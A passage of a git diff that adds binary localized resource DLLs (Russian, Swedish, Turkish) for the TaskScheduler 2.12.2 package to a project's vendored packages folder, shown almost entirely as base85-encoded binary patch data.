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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..74f768fdacea58552bc9688c78fc64f2f6f9555b GIT binary patch literal 10752 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..cbbfdc7470cf98d2fd8d8cf91f9665c042261319 GIT binary patch literal 9728 zcmeHMdwdnuoj(Hv!Yf4+9)XAl60Fs5$-RjZvVeIK(j*c{NKzMs$-R@CA#-Q0GjlHq z5KVX0u55i!D399O?Jl9>qf2c~eN>CaO_dfbAMvq#K&|+x<)f=m%DSI!UHAJtb0_!S z+>o-npZ%+yY~H4DGoo`<=as7(dB_MTo~ctO<;7SxR54a3jb-0h z6zXuLz01bTn=DOcY&K>lIkU%>;K|WS(HNU1`ePiuX@c|@S1<0EfAf6?yGrjORQiuU zV?&z4wGDh%QKyu#S>vfQ?AplKlwnhsHROz?Cm^O{yfR_zv6U_x;}hAq0VZsP-ia4y zY@^4tOg|=tZl&lD(;T#fs}$OMOhq$*D0JNjAn|gYj4oZJjFpQ{!tD_G6&L9?hNZE; zD`M>TaOOlY%h<0tWBr+oHQ?DBn;Y%%o5Q-i@xY0@=4b!ww;pZy`d43hX?p8~=xx{E zS@6u@^Ic2oA7AtS7yst;qqWNywLVj1&hLM%Zr@*jmR@@_^wQ+1Cw2Xn%snU19Jud= zd!J~_+TywAt)qi)E!g_$8{dBK_Lg}7t1&JZ@AIB zq_9XSC|;7ADlDSgYDjUVH!3#8r8?%phO$cfpT2wX{WH+mvmZXN?*5l{9=!6*&W-0+ z@A}2ZAMBbe&D;COpC8|U@rqCTvIe(5Qev!pd{^V%LqGb=|MZ@#|K<7Z2fp*-_PalS zvF=pQOaFLs`CumZ9ed$$;jw9bHyqpdO5cfx5AJxqWXDIZZ~1!OdlPg0XV*7>bgp*h zkqglbG)K`TM?w^z?z zx9!>4i)&xanRUm%=S*$=<-DfGv$@~ju-5a~#XXDE7P%<;ftT_D5*H?UU_h9uSzc~Kox$EcEHhuSl+Fm`gWtMqyoi=cC{ezP?-TI^Sg&k9} zw{_&)`J0aZ1t&s#u93U{@V95So;`h{=dniX_Pek-?MJ%}IhlvtuR+^^b_ZOThrQt) z^f#q3mI?SE#?QjPO@Lub5o=~I#>+7O1I(SAz?csFUL^N(=uZY+HSn%Mt44n(ng!gw z*ar@yA4L*fMe)M*8SpF7|1EIegRG~~9zbga{zAZCLwgUATdc0hs6tR5s5{$v(JZza(ANSY z%k@p7xZeUWcct)jhY&k$nN6Dk-}_!8w?EDbrphodB0X0co#&2I$D)JP<9E2VsDg7y~cgtN&La!h!G@D(|d z)R3V_74dYD9aoXBD}|*pYZJN#*lM87O+{M`zKUo8b}LYFQc>0bK}JZrnF0hp5<&!? z(jibs3_C|gS_@z&8dl?}%u04&IcN>|-^=bzrLKSt6j)kg zUiLj8%uc4JoTUZQ4e*nrfqm=^XVKMDEHkpbV`MS`*zY1Bk*OxApIn+xe8Ig8q+z>_t5NcrdJBlxC5LikL}&56 z4|LDS=$Bf8=Ri_2GD&i<;_tc&yiw`1ioR&3;~VS}QF24+0m>z!)B+9)Qjd0+VxSH4 zNg~*b&mjl79EijA0vAMl+>Zix&SFszWVH-^PQ?NL48RNmtU%VaV<~nF3F%J+nb;@n zA<%OG&2p&d)j)5LINhKtt4{3oajI8cD)OqcR|JMwzTrx10xK0PD$J>MAB-+8hTO*C!D;mJFG+HXQCSqE<-O zrO7qAD>fjd)eiK7|F~LBHpRfSr17gdp>;sILLcZ08akKtD2-u_bY(Nlu*8u%5)KPn zq$|txuxwd!Anp)yc7Xh9_mDGUZk;)NlH5%Go@fw%O%2*oW(2Vk-X(|0Q4xlT&LkN! zXRUC$0?$U^3%EV%NUHAfNZBz>Y{##vt=Lw(s@aMuWs_`SHqG*dyv_&)O9c0+`Mh>u zzoyB~Fe9H=MHStysdUCOZ>DeuWZN)xMAJkiOYo7V6H8Usz(`m1psVbnxRv37K8h&W zhzuZOd_5>QC~zTV0XZnpBi)!xK*=KV&sWm!dJkEeN|!4XLl}Z;yA2|%Q$`$OiA4@Y zT1nSd0Y1v8?k*8Oh=8@*d z;q4}}w9^QOHS&WPIXHqx`zCnJyfhC7en}oej%>CemhhU50*$3%nI*W~BP}3Zl5t>V z3fjz}Otut@NNP9= zPJ_7nh-2bnr1Vl_@s9#aPED@GqtPIZInfzZJ{y+JX(Fwpw00$AE7FAafqoNVLx-{e zdsUjH(l`x!vMEdBZBq$sQc##|{BpU(aC*T-HOwd#;R*{1y`nyuhPNc@l4!ZNqbLeA zYPpRz`GwB^>@YsO(+R$|k-dyQm3(un*Va_x`4+}GXu0K@(S|Wy7)leeQ0F9(e^^k+ zW?%wcDgnDsw@+hgjJ*<)Nwz$s| z_b-XNSKK{pG8<$b(4NJ84m%}zSgx44p8XE}LL9)x^^)#WNPodSk6mO}N%)Q#x+GCD zN2v)H$>)v|OY4n5L{pYCx8BKyik0n};-_`R$}CF>wQ1c=s;wzyHoV&wu@&a=WA7UR zRw|a?RKr9NM{y}Dj8ItCyHf!TCdB*gR6vCh?l#q6#|WSms;0zhvT?e4)o&V>(QbQM zRK3vWX_BqZMt_Gw#+j&syJg;hrm@S!Wmfc0phEkwV%lm#`PlMU(YQGL*ucr*?9TMs zn!nof^NL+t#^z38`?ynx${mcA2isWIXU{2HfTlW?nQLfVNdnIGnnBqN)w(VK1 z?OS^COJ8{8iThXYdve{A84r}?On>>q`_5+;Ej#|uo57oopSmaaOxdexJ9oDZ98RC~ z4c-5{v;7BNs8w3tm@l!bMs+5Ns^=xv`ym_^#W#}0@%@9PsVN*^1|p~UW>XHsiM-t~ zx!s{~ucrVnmH_wRiBBNfjxBDqa|$RQiYU!A(Z*mFmxSKgY<$t;za7= zmlau4w}_Vyx3C8rrtM*Dy2PectMT~L)UhZ!+4rD`xVODBdy{ziaT2>SfB|BZ8F8~km zYnOxjKfS{skjz3flPR5@87imD6W&U+)>5ZtPGho=Mnzn@@@UzJ zQZJpP*yNgPDzgoy+|XfvvZsssW?X# zP+^Epgv8O&%JCn0iR__zJe6)jcyeG61!1=cjsc7}3&;{y3|%>5Lr~H*1Z)k@b~MLB zbbcf&=~NgH^g))7G5ux`gf>(=Bk9T5Az={}$ej8(7gfk)Z#X}Gxc0d^x!!fEH)OlY zwg?H1A4$&$xROp?Du^Jad?+u-%QTNI0at*{ z1rImJsL*Z+Z<7UXp^xxVqu`18wNOOfjc#ge87sn9MqEZSWW+r}yeV_M;_l=S&2_=s zl2|?DV-q@)PvX}7@AdJB=us|Foq&Fgu^^vnvb0w<;DbwIb(p32YQk$__{yoAcEBfW zggMR*!oxnXB7OMXje0(YjTIXc*|91{Pb-eNy8fn-6RrO*d)A5gIy(TZH!7vZz4(8N zYq5xHGVkHh9Vxa;1zj2Zp1k8+4lP{zm+Q~L19+j)dFxjR-y(kwX8*-T#{>TjGGp_? literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..871fc5fd884c755e588cad07c45325d2d25ae8d1 GIT binary patch literal 10240 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 